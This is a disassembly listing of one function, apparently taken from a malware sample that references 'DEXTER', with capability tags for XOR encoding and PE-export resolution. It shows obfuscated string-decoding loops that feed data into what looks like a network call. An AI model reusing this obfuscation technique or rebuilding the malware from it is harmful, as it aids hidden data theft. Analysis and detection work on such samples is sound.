Function at 0x40a580
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xa8
cmp dword [ecx + 0x20], 0
je 0x40a5df
mov esi, ecx
movzx eax, byte [ecx]
mov byte [esp + 0xb], 0
test eax, eax
je 0x40a5e6
cmp al, 0x64
jb 0x40a5f1
lea ecx, [eax + eax*4]
lea ecx, [eax + ecx*8]
shr ecx, 0xc
imul edx, ecx, 0x64
sub al, dl
movzx eax, al
mov edx, eax
and edx, 0x7d
mov edi, eax
and edi, 2
or eax, 2
imul eax, edi
xor edi, 2
imul edi, edx
movzx eax, word [edi + eax + 0x442318]
mov word [esp + 9], ax
mov edx, 0xfffffffd
mov eax, ecx
jmp 0x40a5fa
mov bl, 1
jmp 0x40ab52
lea ebx, [esp + 0xa]
mov byte [esp + 0xa], 0x30
jmp 0x40a636
mov edx, 0xffffffff
cmp al, 9
ja 0x40a60f
lea ecx, [esp + 0xc]
movzx eax, byte [eax + str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
lea ebx, [ecx + edx]
dec ebx
mov byte [esp + edx + 0xb], al
jmp 0x40a636
mov ecx, eax
and ecx, 0x7d
mov edx, eax
and edx, 2
or eax, 2
imul eax, edx
xor edx, 2
imul edx, ecx
movzx eax, word [edx + eax + 0x442318]
lea ebx, [esp + 9]
mov word [esp + 9], ax
lea eax, [esi + 0x10]
push eax
call fcn.00407560
add esp, 4
mov ebp, dword [esi + 0x10]
mov eax, dword [esi + 0x58]
mov eax, dword [eax + 0x48]
mov dword [esp + 0x1c], eax
lea eax, [ebp + 0x400]
push eax
call fcn.004095a0
add esp, 4
mov edi, eax
mov dword [esp + 0x20], 0xa9b186b0
mov byte [esp + 0x24], 0xc
mov word [esp + 0x25], 0
mov byte [esp + 0x27], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40a6cc
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
mov edx, 0x9c
sub edx, eax
add eax, ecx
not ecx
or edx, ecx
lea eax, [eax + edx*2]
add eax, 0x58f0d365
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x95
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40a690
lea eax, [esp + 0x20]
mov ecx, esi
push 0x4497e0
push eax
push edi
call fcn.00409f40
mov dword [esp + 0x20], 0xef8a847c
mov word [esp + 0x24], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 5
ja 0x40a739
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
lea edx, [eax + ecx]
add eax, 0x7c
and eax, ecx
add eax, eax
sub edx, eax
add edx, 0x80015d7c
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0xc]
add al, 0x70
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 6
jb 0x40a700
mov ecx, esi
push ebx
lea eax, [esp + 0x24]
push eax
push edi
call fcn.00409f40
mov eax, dword [str.hRjzG3__DEXTER]
mov dword [esp], 0x50fbe7e1
mov dword [esp + 0xc], 0
mov ecx, dword [esp + 0xc]
cmp ecx, 3
ja 0x40a7ba
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0xc]
movzx edx, byte [esp + edx]
lea ebx, [ecx + edx]
add ebx, 0x45ccc0f5
add ecx, 0xf5
and ecx, edx
mov edx, ebx
not edx
and edx, ecx
add edx, ecx
not ecx
and ecx, ebx
sub ecx, edx
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x20]
add cl, 0x58
mov edx, dword [esp + 0xc]
mov byte [esp + edx], cl
inc dword [esp + 0xc]
mov ecx, dword [esp + 0xc]
cmp ecx, 4
jb 0x40a770
mov edx, esp
mov ecx, esi
push eax
push edx
push edi
call fcn.00409f40
mov dword [esp + 0x20], 0xae97ad84
mov dword [esp + 0x24], 0x9da891a4
mov dword [esp + 0x28], 0xa7a6a19c
mov byte [esp + 0x2c], 3
mov dword [esp + 0x2d], 0
mov dword [esp + 0x30], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x13
ja 0x40a84a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
lea edx, [eax + 0xef]
add eax, ecx
and edx, ecx
add edx, edx
sub eax, edx
add eax, 0xc00063ef
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 8
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x14
jb 0x40a810
mov dword [esp + 0xc], 0x2ebb494e
mov word [esp + 0x10], 0
mov byte [esp + 0x12], 0
mov dword [esp + 4], 0
mov eax, dword [esp + 4]
cmp eax, 6
ja 0x40a8a1
nop
mov eax, dword [esp + 4]
mov ecx, dword [esp + 4]
movzx ecx, byte [esp + ecx + 0xc]
add eax, 0xc8ca4ab4
xor eax, ecx
mov dword [esp], eax
mov eax, dword [esp]
add al, 0x67
mov ecx, dword [esp + 4]
mov byte [esp + ecx + 0xc], al
inc dword [esp + 4]
mov eax, dword [esp + 4]
cmp eax, 7
jb 0x40a870
lea edx, [esp + 0xc]
mov ecx, esi
lea eax, [esp + 0x20]
push eax
push edx
push edi
call fcn.00409f40
mov dword [esp + 0x20], 0xb5bba7ab
mov byte [esp + 0x24], 0x2d
mov word [esp + 0x25], 0
mov byte [esp + 0x27], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x40a90e
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x20]
add eax, 0xfeddb7ee
xor eax, ecx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
add al, 0x21
mov ecx, dword [esp]
mov byte [esp + ecx + 0x20], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x40a8e0
mov ecx, esi
push ebp
push dword [esp + 0x20]
lea eax, [esp + 0x28]
push eax
push edi
call fcn.0040a1b0
mov eax, dword [esi + 0x60]
mov dword [esp + 0x20], 0x54e45686
mov dword [esp + 0x24], 0x50df52e7
mov dword [esp + 0x28], 0x2c9d2eec
mov dword [esp + 0x2c], 0x28de2aa1
mov dword [esp + 0x30], 0x24ae2685
mov dword [esp + 0x34], 0x209e2295
mov dword [esp + 0x38], 0x3cdf3ee7
mov dword [esp + 0x3c], 0x38b63a88
mov dword [esp + 0x40], 0x34bb368d
mov dword [esp + 0x44], 0x3083328c
mov dword [esp + 0x48], 0xc810e90
mov dword [esp + 0x4c], 0x8f80a81
mov dword [esp + 0x50], 0x4b406b3
mov dword [esp + 0x54], 0xb6028b
mov dword [esp + 0x58], 0x1ca31ef4
mov dword [esp + 0x5c], 0x18971abc
mov dword [esp + 0x60], 0x14d016b8
mov dword [esp + 0x64], 0x10ad12f5
mov dword [esp + 0x68], 0xec62eea2
mov dword [esp + 0x6c], 0xe857ea5f
mov dword [esp + 0x70], 0xe469e648
mov dword [esp + 0x74], 0xe026e26c
mov dword [esp + 0x78], 0xfc42fe5f
mov dword [esp + 0x7c], 0xf836fa35
mov dword [esp + 0x80], 0xf44af645
mov dword [esp + 0x84], 0xf04af238
mov dword [esp + 0x88], 0xcc73ce41
mov dword [esp + 0x8c], 0xc874ca7e
mov dword [esp + 0x90], 0xc47ac670
mov dword [esp + 0x94], 0xc04dc24b
mov dword [esp + 0x98], 0xdc2ede7c
mov dword [esp + 0x9c], 0xd8cddac8
mov word [esp + 0xa0], 0xd6d9
mov byte [esp + 0xa6], 0
mov dword [esp + 0xa2], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x86
ja 0x40aaa3
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x20]
add ecx, 0x72b2c7b7
xor ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
add cl, 0x12
mov edx, dword [esp]
mov byte [esp + edx + 0x20], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x87
jb 0x40aa70
mov dword [esp + 0xc], 0xe08ee2d2
mov dword [esp + 0x10], 0xec9aee9f
mov word [esp + 0x14], 0xeaeb
mov dword [esp + 0x16], 0
mov word [esp + 0x1a], 0
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 0xf
ja 0x40ab1d
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx + 0xc]
lea ebx, [ecx + edx]
add ecx, 0x64
and ecx, edx
add ecx, ecx
sub ebx, ecx
add ebx, 0x3ed38d64
mov dword [esp], ebx
mov ecx, dword [esp]
add cl, 0x79
mov edx, dword [esp + 4]
mov byte [esp + edx + 0xc], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 0x10
jb 0x40aae0
push 0x493e0
push eax
push edi
push 0
push 0
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x24]
push eax
call fcn.0040c960
add esp, 0x1c
mov ebx, eax
push edi
call fcn.004095b0
add esp, 4
mov eax, dword [esi + 0x60]
add dword [esi + 4], eax
mov dword [esi + 0x60], 0
mov eax, ebx
add esp, 0xa8
pop esi
pop edi
pop ebx
pop ebp
ret